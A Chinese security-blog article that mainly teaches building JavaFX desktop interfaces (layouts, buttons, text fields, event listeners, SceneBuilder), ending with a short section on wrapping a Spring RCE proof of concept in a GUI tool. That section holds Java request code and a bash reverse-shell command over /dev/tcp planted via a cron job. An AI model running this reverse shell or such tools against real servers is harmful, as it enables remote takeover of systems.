从网络发包到图形化开发 | 技术精选0135


本文约2600字,阅读约需8分钟。


一个月前,SpringRce漏洞火了,很快出现了py的poc。那时的我,还在用bp抓包,发包,然后error。


一个学代码审计的野人,路过图形化开发,从而一发不可收拾。

1

介绍

在jdk 1.0的时候,Sun公司提供了gui类,也就是awt。到现在,有十多年的历史了。

随后又推出了swing技术,awt和swing的方法都可以混合使用。

使用两个技术开发一个图形化的工具也不是很难,主要是拼接一些组件,如按钮,文本,下拉框等等。

但如果开发一款比较美观的界面,需要设置一些数值,如大小,x、y距离。组件都是方形,稍微圆角处理就不支持,或者自己写一个方法,难度稍微增大。

此时,JavaFX就出现了。方便,快捷,省去复杂的布局,只需要写逻辑代码就可以完成。

2

构建环境

我们使用jdk1.8。 编辑器(IDEA)为SceneBuilder 。

地址:https://www.oracle.com/java/technologies/javafxscenebuilder-1x-archive-downloads.html;


为什么采用1.8方便?内置JavaFX组件,高版本jdk,需要单独下载组件。

SceneBuilder是一种可视布局工具,允许用户快速设计JavaFX应用程序用户界面,而无需编码。

用户可以将UI组件拖放到工作区,修改其属性,应用样式表,并且,它们正在创建布局的FXML代码将在后台自动生成。

它的结果是一个FXML文件,然后可以通过绑定到应用程序的逻辑与Java项目组合。

安装后,IDE创建一个JavaFX项目。

File -> New -> Project:


Controller控制器储存如按钮、监听事件、文本处理等等。

Main中包含主程序启动项目的代码。

Sample.fxml使用SceneBuilder配置的文件,稍后会用到。

控制器代码是空的:
packagesample;

publicclassController {
}

Main方法:




packagesample;
importjavafx.application.Application;importjavafx.fxml.FXMLLoader;importjavafx.scene.Parent;importjavafx.scene.Scene;importjavafx.stage.Stage;
publicclassMain extendsApplication {   //继承Application 需要重写方法   @Override   //创建一个舞台 可以理解为程序的界面   publicvoidstart(StageprimaryStage)throwsException{       //类加载器加载当前的fxml文件       Parent root =FXMLLoader.load(getClass().getResource("sample.fxml"));       //设置一个title       primaryStage.setTitle("HelloWorld");       //设置一个窗口大小       primaryStage.setScene(newScene(root,300,275));       //展示窗口       primaryStage.show();   }
  publicstaticvoidmain(String[]args){       //运行程序       launch(args);   }}


配置SceneBuilder

打开设置setting搜索框,输入JavaFX后有个路径,选择安装后的exe就ok了。


选择FXML文件就会显示了。有两种方式可以打开:第一个是选择文件,右键后点击最下面open in SceneBuilder。第二个是最下面Text旁边有个SceneBuilder。

3

功能讲解


先来说布局类型。


打开SceneBuilderContainers,会看到有很多的单词。每个单词代表一种布局样式。

BorderPane提供了5个放置节点的区域:top、bottom,、left,、right和 center:



此时我们随便拖拽一个按钮,都会出现五个位置。BorderPane让我们可以将之放到5个地方。

HBox是横向一一排列:


VBox是竖向一一排列:



StackPane是后来居上,新放的东西会覆盖原来的东西:


GridPane是一格一格的放,可以设置行和列:


FlowPane会一行一行的摆,放不下就拐到下一行:


SplitPane能用鼠标拖动的面板:


Accordion可以翻的页面:


TabPane一个一个的标签:


一个最简单的工具也需要有一个按钮,一个文本框,一个输出框。


下面我们聊聊标签。

//注意别导错包  
importjavafx.scene.control.Label;

Labellabel =newLabel();

使用所有的组件前提条件就是要创建一个布局,布局就像是一个桌子,组件就像是桌子上的物品,先有前者,后有后者。
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Label;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{
      BorderPane root =newBorderPane();
      //创建一个标签       Labellabel =newLabel("我是标签");       //把标签放到bp布局的中间位置       root.setCenter(label);
      primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}

接下来看看按钮。

importjavafx.scene.control.Button;Buttonbutton =newButton();
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{
      BorderPane root =newBorderPane();
      //创建一个按钮       Buttonbutton =newButton("别碰我");
      root.setCenter(button);
      primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}

创建了按钮,该如何使用?比如我打开微信要发语音,我的步骤就是点击语音,然后录取我的声音,松开发送给对方。

此步骤在Java中也可以进行。只需要给按钮设置一个监听器,当你点击我,我就去执行某个动作。

所有的组件,添加监听器都是下面这个方法:
setOnAction();

这是一个添加的功能。在方法体里,设置一个匿名内部类,对里面的方法进行重写:
button.setOnAction(newEventHandler<ActionEvent>() {           @Override           public void handle(ActionEvent event) {              // code              // 这里就是写执行动作的代码           }       });
importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{
      BorderPane root =newBorderPane();
      //创建一个按钮       Buttonbutton =newButton("别碰我");
      button.setOnAction(newEventHandler<ActionEvent>(){           @Override           publicvoidhandle(ActionEventevent){               button.setText("尊贵的凯迪拉克车主,前方就是洗浴中心,请靠边停车");           }       });
      root.setCenter(button);
      primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}
点击前:


点击后:


接下来看一下单行文本:

importjavafx.scene.control.TextField;TextFieldtextField =newTextField();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{       BorderPane root =newBorderPane();       TextFieldtextField =newTextField();       root.setCenter(textField);       primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}

然后是多行文本:


importjavafx.scene.control.TextArea;TextAreatextArea =newTextArea();
importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextArea;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{
      BorderPane root =newBorderPane();
      TextAreatextArea =newTextArea();       root.setCenter(textArea);
      primaryStage.setTitle("demo");       primaryStage.setScene(newScene(root,400,300));       primaryStage.show();   }}

聊一聊布局嵌套。


如何使用多个布局类型进行嵌套呢?这里我们用到hbox布局和BorderPane布局。

hbox布局里存在文本行,一个按钮添加监听,添加我写的数据到文本区。BorderPane布局本身存在文本区。
packagesample;importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.control.TextArea;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.scene.layout.HBox;importjavafx.scene.layout.Priority;importjavafx.stage.Stage;publicclassDemo extendsApplication {   @Override   publicvoidstart(StageprimaryStage)throwsException{       //创建盒子       HBox hBox =newHBox();       //盒子里存放两个控件文本行和按钮        TextFieldtextField =newTextField();       Buttonbutton =newButton("添加");       TextAreatextArea =newTextArea();       //添加组件       hBox.getChildren().addAll(textField,button);       //让文本框占满水平方向的长度       HBox.setHgrow(textField,Priority.ALWAYS);       //在bp添加hbox盒子       BorderPane bp =newBorderPane();       bp.setTop(hBox);       bp.setCenter(textArea);       //按钮添加监听       button.setOnAction(newEventHandler<ActionEvent>(){           @Override           publicvoidhandle(ActionEventevent){               //获取文本行的内容发送给文本区里               Stringtext =textField.getText();               textArea.appendText(text+"n");           }       });       primaryStage.setScene(newScene(bp,400,300));       primaryStage.show();   }}


页面布局


使用SceneBuilder完成工具布局:


拖拽tabpane 完成主要功能:


对每一个按钮,做一个事件监听,命名一个方法名。


然后给输入框设置一个ID,代表代码里的私有变量:


在功能栏可以查看页面布局:


在view里可查看自动生成的控制器代码:


功能分解


如何实现上传Shell?思路是获取输入栏里的url。


使用java.net.url包,发送post请求,并设置请求头:
HttpURLConnectionconn =(HttpURLConnection)exp_url.openConnection();       conn.setDoOutput(true);       conn.setDoInput(true);       conn.setUseCaches(false);       conn.setRequestMethod("POST");    ··  · ·  · ·      conn.setRequestProperty("Content-Typ","application/x-www-form-urlencoded");       conn.connect();
      Stringdata ="poc";
数据转字节发送:
byte[]paramByte=data.getBytes();
conn.getOutputStream().write(paramByte);//传入参数的byte类型

定时任务中,反弹bash需要进行url编码,否则写定时任务出错,无法反弹:

Stringbash ="bash-c "bash-i >& /dev/tcp/"+ip+"/"+port+"0>&1"";
Stringurl_encode =URLEncoder.encode(bash,"UTF-8");

发送post数据包参考上面代码,稍微修改下poc就可以。

4

实际效果

上传Shell:


反弹Shell:


当看到“反弹成功”四个大字,不禁心潮澎湃。尽管工具尚显单薄,也算是圆了自己的开发心愿。


- END -

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180818.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:105 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号